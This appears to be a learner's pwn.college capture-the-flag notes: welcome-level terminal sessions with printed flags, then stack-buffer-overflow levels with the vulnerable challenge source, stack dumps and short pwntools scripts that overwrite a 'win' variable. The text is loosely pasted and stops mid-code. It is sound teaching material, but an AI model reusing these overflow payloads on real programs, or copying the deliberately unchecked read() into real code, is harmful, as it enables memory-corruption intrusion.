hacker@welcome~challenge-programs:~$ ls Desktop test test.c hacker@welcome~challenge-programs:~$ cd / hacker@welcome~challenge-programs:/$ ls bin boot challenge dev etc flag home lib lib64 media mnt nix opt proc root run sbin srv sys tmp usr var hacker@welcome~challenge-programs:/$ /challenge/solve ⠀⢀⣶⣿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠘⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⢀⣤⡀⠀⠀⠀⠀⠀⠀ ⠀⠀⠈⠙⠋⢁⣀⣠⣤⣀⣀⣀⣰⣿⠟⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⣀⣴⣾⣿⣿⣿⣿⣿⠿⠿⠿⠋⠀⠀⠀⠀⣀⣤⣶⡆ ⢠⣾⣿⣿⢿⣿⣿⣿⣿⣧⠀⠀⠀⣀⣤⣴⣾⣿⡿⠟⠋⠀ ⠘⣿⣇⠀⠈⢻⣿⣿⣿⣿⣷⣶⣿⣿⣿⡿⠛⠉⠀⠀⠀⠀ ⠀⢻⣿⡆⠀⠀⣿⣿⣿⣿⣿⣿⠿⠋⠁⠀⠀⠀⠀⠀⠀⠀ ⠀⠈⠛⠁⠀⠀⢹⣿⣿⡟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠘⣿⣿⡇⠀WELCOME⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⣿⣿⡇⠀TO⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⣿⣿⡇⠀THE⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⢿⣿⠁⠀DOJO⠀⠀⠀⠀⠀⠀⠀
.......... Congratulations! Your flag is: pwn.college{ck40CNYo6wx8izHyuc8p1jolqAv.QX0MDO0wSNzEDO0EzW} hacker@welcome~challenge-programs:/$
hacker@welcome~the-flag-file:~$ ls Desktop test test.c hacker@welcome~the-flag-file:~$ cd / hacker@welcome~the-flag-file:/$ ls bin boot challenge dev etc flag home lib lib64 media mnt nix opt proc root run sbin srv sys tmp usr var hacker@welcome~the-flag-file:/$ /challenge/solve ⠀⢀⣶⣿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠘⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⢀⣤⡀⠀⠀⠀⠀⠀⠀ ⠀⠀⠈⠙⠋⢁⣀⣠⣤⣀⣀⣀⣰⣿⠟⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⣀⣴⣾⣿⣿⣿⣿⣿⠿⠿⠿⠋⠀⠀⠀⠀⣀⣤⣶⡆ ⢠⣾⣿⣿⢿⣿⣿⣿⣿⣧⠀⠀⠀⣀⣤⣴⣾⣿⡿⠟⠋⠀ ⠘⣿⣇⠀⠈⢻⣿⣿⣿⣿⣷⣶⣿⣿⣿⡿⠛⠉⠀⠀⠀⠀ ⠀⢻⣿⡆⠀⠀⣿⣿⣿⣿⣿⣿⠿⠋⠁⠀⠀⠀⠀⠀⠀⠀ ⠀⠈⠛⠁⠀⠀⢹⣿⣿⡟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠘⣿⣿⡇⠀WELCOME⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⣿⣿⡇⠀TO⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⣿⣿⡇⠀THE⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⢿⣿⠁⠀DOJO⠀⠀⠀⠀⠀⠀⠀
Making the flag world readable (chmod 644 /flag). ..........DONE! Go read /flag (e.g., using cat)! hacker@welcome~the-flag-file:/$ cat /flag pwn.college{MvN-jxZFF_-m8aP_tMtcj7TBMyV.QX5IzNzwSNzEDO0EzW} hacker@welcome~the-flag-file:/$
Using Privileged Mode
1 2 3
hacker@practice~welcome~using-privileged-mode:~$ cd / hacker@practice~welcome~using-privileged-mode:/$ sudo cat /challenge/secret f8440e72b3a4ea48ff71530e2130ab4f847bcfda05d9d639b6692fd029abcace6f0fc28070256bda0f21
hacker@welcome~using-privileged-mode:~$ cd / hacker@welcome~using-privileged-mode:/$ /challenge/solve ⠀⣠⣶⣿⣿⣶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠹⢿⣿⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⡏⢀⣀⡀⠀⠀⠀⠀⠀ ⠀⠀⣠⣤⣦⡄⠀⠀WELCOME⠀⠈⠛⠿⣟⣋⣼⣽⣾⣽⣦⡀⠀⠀⠀ ⢀⣼⣿⣷⣾⡽⡄⠀⠀⠀TO⠀⠀⣴⣶⣶⣿⣿⣿⡿⢿⣟⣽⣾⣿⣿⣦⠀⠀ ⣸⣿⣿⣾⣿⣿⣮⣤⣤⣤⣤⡀⠀⠀⠻⣿⡯⠽⠿⠛⠛⠉⠉⢿⣿⣿⣿⣿⣷⡀ ⣿⣿⢻⣿⣿⣿⣛⡿⠿⠟⠛⠁⣀⣠⣤⣤⣶⣶⣶⣶⣷⣶⠀⠀⠻⣿⣿⣿⣿⣇ ⢻⣿⡆⢿⣿⣿⣿⣿⣤⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠟⠀⣠⣶⣿⣿⣿⣿⡟ ⠈⠛⠃⠈⢿⣿⣿⣿⣿⣿⣿⠿⠟⠛⠋⠉⠁⠀⠀⠀⠀⣠⣾⣿⣿⣿⠟⠋⠁⠀ ⠀⠀⠀⠀⠀⠙⢿⣿⣿⡏⠀⠀⠀⠀THE⠀⠀⠀⣴⣿⣿⣿⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀DOJO⠀⠀⣼⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠁⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⣼⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ You are not running in Privileged mode! Hopefully, you have already run this challenge in Privileged mode and used sudo to read /challenge/secret. If not, restart this challenge in Privileged mode and do so, then come back to real mode to try this again.
ENTER SECRET: f8440e72b3a4ea48ff71530e2130ab4f847bcfda05d9d639b6692fd029abcace6f0fc28070256bda0f21 CORRECT! Your flag: pwn.college{AIIwjIT9Pbu3NU-zZ-nA0DtxNVQ.QXwMzNzwSNzEDO0EzW}
Please create directory named "leap" in your home directory, and copy the /challenge/secret file into it! The resulting file should have the path of /home/hacker/leap/secret and should have the same contents as /challenge/secret.
Once you have done this, rerun this script and I will give you the flag. hacker@welcome~persistent-home-directories-one:/$ cd ~ hacker@welcome~persistent-home-directories-one:~$ pwd /home/hacker hacker@welcome~persistent-home-directories-one:~$ mkdir leap hacker@welcome~persistent-home-directories-one:~$ cd leap hacker@welcome~persistent-home-directories-one:~/leap$ pwd /home/hacker/leap hacker@welcome~persistent-home-directories-one:~/leap$ cp /challenge/solve . hacker@welcome~persistent-home-directories-one:~/leap$ ls solve hacker@welcome~persistent-home-directories-one:~/leap$ mv solve mv: missing destination file operand after 'solve' Try 'mv --help' for more information. hacker@welcome~persistent-home-directories-one:~/leap$ rm solve hacker@welcome~persistent-home-directories-one:~/leap$ ls hacker@welcome~persistent-home-directories-one:~/leap$ cp /challenge/secret cp: missing destination file operand after '/challenge/secret' Try 'cp --help' for more information. hacker@welcome~persistent-home-directories-one:~/leap$ cp /challenge/secret . hacker@welcome~persistent-home-directories-one:~/leap$ ls secret hacker@welcome~persistent-home-directories-one:~/leap$ /secret bash: /secret: No such file or directory hacker@welcome~persistent-home-directories-one:~/leap$ /challenge/solve .=== / __) _ ( ||_.''. {_} ---- | =/ \ /' : WELCOME /\_~/() \__.' ____ ---- TO |_ \ // |''''` |-'8, -- _ : |_ '-[]___/ '.....\--.O THE {_}'' .'\ // |':```` DOJO '...' /\\_/ `, //|\ '.._.' snd // //
The file is present and correct! In the next challenge, you will see that the file stays around! For now, here is the flag for this challenge: pwn.college{QW0B7-NUdA1ldPDnITZ2lIG1AXQ.QXxMzNzwSNzEDO0EzW} hacker@welcome~persistent-home-directories-one:~/leap$
Your home directory in the dojo is persistent between challenges.
Congratulations! The file that you created in the last challenge is still present in your home directory! Please keep in mind that, though the contents of /home/hacker persist, other areas (such as /tmp, /challenge, and so on) do not.
Anyways, here is your flag: pwn.college{MmIb9OIE0kdDx2MEQOLXwTCDAj4.QXyMzNzwSNzEDO0EzW} hacker@welcome~persistent-home-directories-two:~$
easy
Intro to Cybersecurity
Binary Explotation
Corrupting Memory
Your First Overflow (easy)
find binary-exploitation-first-overflow-w.c in /challenge/binary-exploitation-first-overflow-w.c
void win() { static char flag[256]; static int flag_fd; static int flag_length;
puts("You win! Here is your flag:"); flag_fd = open("/flag", 0); if (flag_fd < 0) { printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno)); if (geteuid() != 0) { printf(" Your effective user id is not 0!\n"); printf(" You must directly run the suid binary in order to have the correct permissions!\n"); } exit(-1); } flag_length = read(flag_fd, flag, sizeof(flag)); if (flag_length <= 0) { printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno)); exit(-1); } write(1, flag, flag_length); printf("\n\n"); }
int challenge(int argc, char **argv, char **envp) { struct { char input[26]; int win_variable; } data = {0} ;
unsigned long size = 0;
puts("The challenge() function has just been launched!");
GET_FRAME_WORDS(sz_, sp_, bp_, rp_); puts("Before we do anything, let's take a look at challenge()'s stack frame:"); DUMP_STACK(sp_, sz_); printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_); printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_); printf("including the saved base pointer and the saved return address, for a\n"); printf("total of %d bytes.\n", sz_ * 8); printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input); printf("(\"above\" it in the stack are other local variables used by the function).\n"); printf("Your input will be read into this buffer.\n"); printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 26); printf("large input length, and thus overflow the buffer.\n\n");
printf("In this level, there is a \"win\" variable.\n"); printf("By default, the value of this variable is zero.\n"); printf("However, when this variable is non-zero, the flag will be printed.\n"); printf("You can make this variable be non-zero by overflowing the input buffer.\n"); printf("The \"win\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.win_variable, ((unsigned long) &data.win_variable) - ((unsigned long) &data.input));
puts("We have disabled the following standard memory corruption mitigations for this challenge:"); puts("- the binary is *not* position independent. This means that it will be"); puts("located at the same spot every time it is run, which means that by"); puts("analyzing the binary (using objdump or reading this output), you can"); puts("know the exact value that you need to overwrite the return address with.\n");
FIND_CANARY(cp_, cv_, bp_);
size = 4096;
printf("You have chosen to send %lu bytes of input!\n", size); printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input); printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 26);
printf("Send your payload (up to %lu bytes)!\n", size); int received = read(0, &data.input, (unsigned long) size);
if (received < 0) { printf("ERROR: Failed to read input -- %s!\n", strerror(errno)); exit(1); }
printf("You sent %d bytes!\n", received);
printf("Let's see what happened with the stack:\n\n"); DUMP_STACK(sp_, sz_);
printf("The program's memory status:\n"); printf("- the input buffer starts at %p\n", &data.input); printf("- the saved frame pointer (of main) is at %p\n", bp_); printf("- the saved return address (previously to main) is at %p\n", rp_); printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_)); printf("- the canary is stored at %p.\n", cp_); printf("- the canary value is now %p.\n", *(unsigned long*)(cp_)); printf("- the address of the win variable is %p.\n", &data.win_variable); printf("- the value of the win variable is 0x%x.\n", data.win_variable); printf("\n");
The challenge() function has just been launched! Before we do anything, let's take a look at challenge()'s stack frame: +---------------------------------+-------------------------+--------------------+ | Stack location | Data (bytes) | Data (LE int) | +---------------------------------+-------------------------+--------------------+ | 0x00007ffecafa4120 (rsp+0x0000) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 | | 0x00007ffecafa4128 (rsp+0x0008) | c8 52 fa ca fe 7f 00 00 | 0x00007ffecafa52c8 | | 0x00007ffecafa4130 (rsp+0x0010) | b8 52 fa ca fe 7f 00 00 | 0x00007ffecafa52b8 | | 0x00007ffecafa4138 (rsp+0x0018) | 00 00 00 00 01 00 00 00 | 0x0000000100000000 | | 0x00007ffecafa4140 (rsp+0x0020) | a0 74 7d e4 6a 76 00 00 | 0x0000766ae47d74a0 | | 0x00007ffecafa4148 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | | 0x00007ffecafa4150 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | | 0x00007ffecafa4158 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | | 0x00007ffecafa4160 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | | 0x00007ffecafa4168 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | | 0x00007ffecafa4170 (rsp+0x0050) | b0 11 40 00 00 00 00 00 | 0x00000000004011b0 | | 0x00007ffecafa4178 (rsp+0x0058) | 00 6a 50 7e e7 c5 ed 52 | 0x52edc5e77e506a00 | | 0x00007ffecafa4180 (rsp+0x0060) | c0 51 fa ca fe 7f 00 00 | 0x00007ffecafa51c0 | | 0x00007ffecafa4188 (rsp+0x0068) | 98 26 40 00 00 00 00 00 | 0x0000000000402698 | +---------------------------------+-------------------------+--------------------+ Our stack pointer points to 0x7ffecafa4120, and our base pointer points to 0x7ffecafa4180. This means that we have (decimal) 14 8-byte words in our stack frame, including the saved base pointer and the saved return address, for a total of 112 bytes. The input buffer begins at 0x7ffecafa4150, partway through the stack frame, ("above" it in the stack are other local variables used by the function). Your input will be read into this buffer. The buffer is 26 bytes long, but the program will let you provide an arbitrarily large input length, and thus overflow the buffer.
In this level, there is a "win" variable. By default, the value of this variable is zero. However, when this variable is non-zero, the flag will be printed. You can make this variable be non-zero by overflowing the input buffer. The "win" variable is stored at 0x7ffecafa416c, 28 bytes after the start of your input buffer.
We have disabled the following standard memory corruption mitigations for this challenge: - the binary is *not* position independent. This means that it will be located at the same spot every time it is run, which means that by analyzing the binary (using objdump or reading this output), you can know the exact value that you need to overwrite the return address with.
You have chosen to send 4096 bytes of input! This will allow you to write from 0x7ffecafa4150 (the start of the input buffer) right up to (but not including) 0x7ffecafa5150 (which is 4070 bytes beyond the end of the buffer). Send your payload (up to 4096 bytes)!
buffer starts at **<font style="background-color:#FFFFFF;">rsp+0x28</font>**
saved RIP is at **<font style="background-color:#FFFFFF;">rsp+0x42</font>** → size = **<font style="background-color:#FFFFFF;">0x42 - 0x28 = 0x1A = 26</font>** bytes.
The “win” variable is stored at 0x7ffedefdc3ec, 28 bytes after the start of your input buffer
hacker@binary-exploitation~your-first-overflow-easy:/challenge$ ./binary-exploitation-first-overflow-w The challenge() function has just been launched! Before we do anything, let's take a look at challenge()'s stack frame: +---------------------------------+-------------------------+--------------------+ | Stack location | Data (bytes) | Data (LE int) | +---------------------------------+-------------------------+--------------------+ | 0x00007ffedefdc3a0 (rsp+0x0000) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 | | 0x00007ffedefdc3a8 (rsp+0x0008) | 48 d5 fd de fe 7f 00 00 | 0x00007ffedefdd548 | | 0x00007ffedefdc3b0 (rsp+0x0010) | 38 d5 fd de fe 7f 00 00 | 0x00007ffedefdd538 | | 0x00007ffedefdc3b8 (rsp+0x0018) | 00 00 00 00 01 00 00 00 | 0x0000000100000000 | | 0x00007ffedefdc3c0 (rsp+0x0020) | a0 84 62 98 20 7b 00 00 | 0x00007b20986284a0 | | 0x00007ffedefdc3c8 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | | 0x00007ffedefdc3d0 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | | 0x00007ffedefdc3d8 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | | 0x00007ffedefdc3e0 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | | 0x00007ffedefdc3e8 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | | 0x00007ffedefdc3f0 (rsp+0x0050) | b0 11 40 00 00 00 00 00 | 0x00000000004011b0 | | 0x00007ffedefdc3f8 (rsp+0x0058) | 00 01 cb a3 2d 60 0b e1 | 0xe10b602da3cb0100 | | 0x00007ffedefdc400 (rsp+0x0060) | 40 d4 fd de fe 7f 00 00 | 0x00007ffedefdd440 | | 0x00007ffedefdc408 (rsp+0x0068) | 98 26 40 00 00 00 00 00 | 0x0000000000402698 | +---------------------------------+-------------------------+--------------------+ Our stack pointer points to 0x7ffedefdc3a0, and our base pointer points to 0x7ffedefdc400. This means that we have (decimal) 14 8-byte words in our stack frame, including the saved base pointer and the saved return address, for a total of 112 bytes. The input buffer begins at 0x7ffedefdc3d0, partway through the stack frame, ("above" it in the stack are other local variables used by the function). Your input will be read into this buffer. The buffer is 26 bytes long, but the program will let you provide an arbitrarily large input length, and thus overflow the buffer.
In this level, there is a "win" variable. By default, the value of this variable is zero. However, when this variable is non-zero, the flag will be printed. You can make this variable be non-zero by overflowing the input buffer. The "win" variable is stored at 0x7ffedefdc3ec, 28 bytes after the start of your input buffer.
We have disabled the following standard memory corruption mitigations for this challenge: - the binary is *not* position independent. This means that it will be located at the same spot every time it is run, which means that by analyzing the binary (using objdump or reading this output), you can know the exact value that you need to overwrite the return address with.
You have chosen to send 4096 bytes of input! This will allow you to write from 0x7ffedefdc3d0 (the start of the input buffer) right up to (but not including) 0x7ffedefdd3d0 (which is 4070 bytes beyond the end of the buffer). Send your payload (up to 4096 bytes)! AAAAAAAAAAAAAAAAAAAAAAAAAAAA11111 You sent 34 bytes! Let's see what happened with the stack:
+---------------------------------+-------------------------+--------------------+ | Stack location | Data (bytes) | Data (LE int) | +---------------------------------+-------------------------+--------------------+ | 0x00007ffedefdc3a0 (rsp+0x0000) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 | | 0x00007ffedefdc3a8 (rsp+0x0008) | 48 d5 fd de fe 7f 00 00 | 0x00007ffedefdd548 | | 0x00007ffedefdc3b0 (rsp+0x0010) | 38 d5 fd de fe 7f 00 00 | 0x00007ffedefdd538 | | 0x00007ffedefdc3b8 (rsp+0x0018) | 00 00 00 00 01 00 00 00 | 0x0000000100000000 | | 0x00007ffedefdc3c0 (rsp+0x0020) | a0 84 62 98 22 00 00 00 | 0x00000022986284a0 | | 0x00007ffedefdc3c8 (rsp+0x0028) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 | | 0x00007ffedefdc3d0 (rsp+0x0030) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 | | 0x00007ffedefdc3d8 (rsp+0x0038) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 | | 0x00007ffedefdc3e0 (rsp+0x0040) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 | | 0x00007ffedefdc3e8 (rsp+0x0048) | 41 41 41 41 31 31 31 31 | 0x3131313141414141 | | 0x00007ffedefdc3f0 (rsp+0x0050) | 31 0a 40 00 00 00 00 00 | 0x0000000000400a31 | | 0x00007ffedefdc3f8 (rsp+0x0058) | 00 01 cb a3 2d 60 0b e1 | 0xe10b602da3cb0100 | | 0x00007ffedefdc400 (rsp+0x0060) | 40 d4 fd de fe 7f 00 00 | 0x00007ffedefdd440 | | 0x00007ffedefdc408 (rsp+0x0068) | 98 26 40 00 00 00 00 00 | 0x0000000000402698 | +---------------------------------+-------------------------+--------------------+ The program's memory status: - the input buffer starts at 0x7ffedefdc3d0 - the saved frame pointer (of main) is at 0x7ffedefdc400 - the saved return address (previously to main) is at 0x7ffedefdc408 - the saved return address is now pointing to 0x402698. - the canary is stored at 0x7ffedefdc3f8. - the canary value is now 0xe10b602da3cb0100. - the address of the win variable is 0x7ffedefdc3ec. - the value of the win variable is 0x31313131.
You win! Here is your flag: pwn.college{kqfbVhNkVL9FeuKdiXC1ZCxUaaa.dlDOywSNzEDO0EzW}
v4 = __readfsqword(0x28u); memset(buf, 0, sizeof(buf)); printf("Send your payload (up to %lu bytes)!\n", 4096LL); if ( (int)read(0, buf, 0x1000uLL) < 0 ) { v0 = __errno_location(); v1 = strerror(*v0); printf("ERROR: Failed to read input -- %s!\n", v1); exit(1); } if ( buf[25] ) win(); puts("Goodbye!"); return 0LL; }
canary?
1 2 3 4 5 6 7 8 9 10 11
hacker@binary-exploitation~your-first-overflow-hard:/challenge$ checksec binary-exploitation-first-overflow [*] '/challenge/binary-exploitation-first-overflow' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
find all except PIE
sizeof(int) = 4,we should set buf[25] != 0
so,payload = b’a’ *100 + p64(1)
EXP:
1 2 3 4 5 6 7 8
from pwn import * context = ('./binary-exploitation-first-overflow') p = process('/challenge/binary-exploitation-first-overflow') p.recvuntil(b"Send your payload ") payload = b'a'*100 payload += p64(1) p.send(payload) p.interactive()
python3 1.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14
hacker@binary-exploitation~your-first-overflow-hard:~/leap$ python3 1.py [+] Starting local process '/challenge/binary-exploitation-first-overflow': pid 5526 [*] Switching to interactive mode (up to 4096 bytes)! [*] Process '/challenge/binary-exploitation-first-overflow' stopped with exit code -6 (SIGABRT) (pid 5526) You win! Here is your flag: pwn.college{4N2j6w96K0xCYKm1BtvLkg3TJZO.dBTOywSNzEDO0EzW}
Goodbye! *** stack smashing detected ***: terminated [*] Got EOF while reading in interactive $ [*] Got EOF while sending in interactive
void win() { static char flag[256]; static int flag_fd; static int flag_length;
puts("You win! Here is your flag:"); flag_fd = open("/flag", 0); if (flag_fd < 0) { printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno)); if (geteuid() != 0) { printf(" Your effective user id is not 0!\n"); printf(" You must directly run the suid binary in order to have the correct permissions!\n"); } exit(-1); } flag_length = read(flag_fd, flag, sizeof(flag)); if (flag_length <= 0) { printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno)); exit(-1); } write(1, flag, flag_length); printf("\n\n"); }
int challenge(int argc, char **argv, char **envp) { struct { char input[18]; int win_variable; int lose_variable; } data = {0} ;
unsigned long size = 0;
puts("The challenge() function has just been launched!");
GET_FRAME_WORDS(sz_, sp_, bp_, rp_); puts("Before we do anything, let's take a look at challenge()'s stack frame:"); DUMP_STACK(sp_, sz_); printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_); printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_); printf("including the saved base pointer and the saved return address, for a\n"); printf("total of %d bytes.\n", sz_ * 8); printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input); printf("(\"above\" it in the stack are other local variables used by the function).\n"); printf("Your input will be read into this buffer.\n"); printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 18); printf("large input length, and thus overflow the buffer.\n\n");
printf("In this level, there is a \"win\" variable.\n"); printf("By default, the value of this variable is zero.\n"); printf("However, when this variable is non-zero, the flag will be printed.\n"); printf("You can make this variable be non-zero by overflowing the input buffer.\n"); printf("The \"win\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.win_variable, ((unsigned long) &data.win_variable) - ((unsigned long) &data.input));
puts(" But be careful! There is also a LOSE variable. If this variable ends up non-zero, the program will terminate and you"); puts("will not get the flag. Be careful not to overwrite this variable.\n"); printf("The \"lose\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.lose_variable, ((unsigned long) &data.lose_variable) - ((unsigned long) &data.input));
puts("We have disabled the following standard memory corruption mitigations for this challenge:"); puts("- the binary is *not* position independent. This means that it will be"); puts("located at the same spot every time it is run, which means that by"); puts("analyzing the binary (using objdump or reading this output), you can"); puts("know the exact value that you need to overwrite the return address with.\n");
FIND_CANARY(cp_, cv_, bp_);
size = 4096;
printf("You have chosen to send %lu bytes of input!\n", size); printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input); printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 18);
printf("Send your payload (up to %lu bytes)!\n", size); int received = read(0, &data.input, (unsigned long) size);
if (received < 0) { printf("ERROR: Failed to read input -- %s!\n", strerror(errno)); exit(1); }
printf("You sent %d bytes!\n", received);
printf("Let's see what happened with the stack:\n\n"); DUMP_STACK(sp_, sz_);
printf("The program's memory status:\n"); printf("- the input buffer starts at %p\n", &data.input); printf("- the saved frame pointer (of main) is at %p\n", bp_); printf("- the saved return address (previously to main) is at %p\n", rp_); printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_)); printf("- the canary is stored at %p.\n", cp_); printf("- the canary value is now %p.\n", *(unsigned long*)(cp_)); printf("- the address of the win variable is %p.\n", &data.win_variable); printf("- the value of the win variable is 0x%x.\n", data.win_variable); printf("- the address of the lose variable is %p.\n", &data.lose_variable); printf("- the value of the lose variable is 0x%x.\n", data.lose_variable); printf("\n");
if (data.lose_variable) { puts("Lose variable is set! Quitting!"); exit(1); } if (data.win_variable) { win(); }
as the pointer,The “win” variable is stored at 0x7ffc7f520524, 20 bytes after the start of your input buffer.The “lose” variable is stored at 0x7ffc7f520528, 24 bytes after the start of your input buffer.
so , payload = b’A’ * 40 + p64(0x100000000) # high 32 bits of v4 is non-zero , (the num after ‘1’ can be any number that’s not essential)
payload += p32(0) #set v5 == 0
1 2 3 4 5 6 7 8 9
from pwn import * context = ('./binary-exploitation-first-overflow') p = process('/challenge/binary-exploitation-lose-variable') p.recvuntil(b"Send your payload ") payload = b'a'*40 payload += p64(0x100000000) payload += p32(0) p.send(payload) p.interactive()
python3 1.py
1 2 3 4 5 6 7
hacker@binary-exploitation~precision-hard:~/leap$ python3 1.py [+] Starting local process '/challenge/binary-exploitation-lose-variable': pid 1862 [*] Switching to interactive mode (up to 4096 bytes)! [*] Process '/challenge/binary-exploitation-lose-variable' stopped with exit code 0 (pid 1862) You win! Here is your flag: pwn.college{sXz4ZlE3FnM5eV2Z_r2O13JXrX1.0VNwcDMxwSNzEDO0EzW}
void win() { static char flag[256]; static int flag_fd; static int flag_length;
puts("You win! Here is your flag:"); flag_fd = open("/flag", 0); if (flag_fd < 0) { printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno)); if (geteuid() != 0) { printf(" Your effective user id is not 0!\n"); printf(" You must directly run the suid binary in order to have the correct permissions!\n"); } exit(-1); } flag_length = read(flag_fd, flag, sizeof(flag)); if (flag_length <= 0) { printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno)); exit(-1); } write(1, flag, flag_length); printf("\n\n"); }
int challenge(int argc, char **argv, char **envp) { struct { char input[107]; int win_variable; int lose_variable; } data = {0} ;
unsigned long size = 0;
puts("The challenge() function has just been launched!");
GET_FRAME_WORDS(sz_, sp_, bp_, rp_); puts("Before we do anything, let's take a look at challenge()'s stack frame:"); DUMP_STACK(sp_, sz_); printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_); printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_); printf("including the saved base pointer and the saved return address, for a\n"); printf("total of %d bytes.\n", sz_ * 8); printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input); printf("(\"above\" it in the stack are other local variables used by the function).\n"); printf("Your input will be read into this buffer.\n"); printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 107); printf("large input length, and thus overflow the buffer.\n\n");
printf("In this level, there is a \"win\" variable.\n"); printf("By default, the value of this variable is zero.\n"); printf("However, if you can set variable to 0x5b1264e4, the flag will be printed.\n"); printf("You can change this variable by overflowing the input buffer, but keep endianness in mind!\n"); printf("The \"win\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.win_variable, ((unsigned long) &data.win_variable) - ((unsigned long) &data.input));
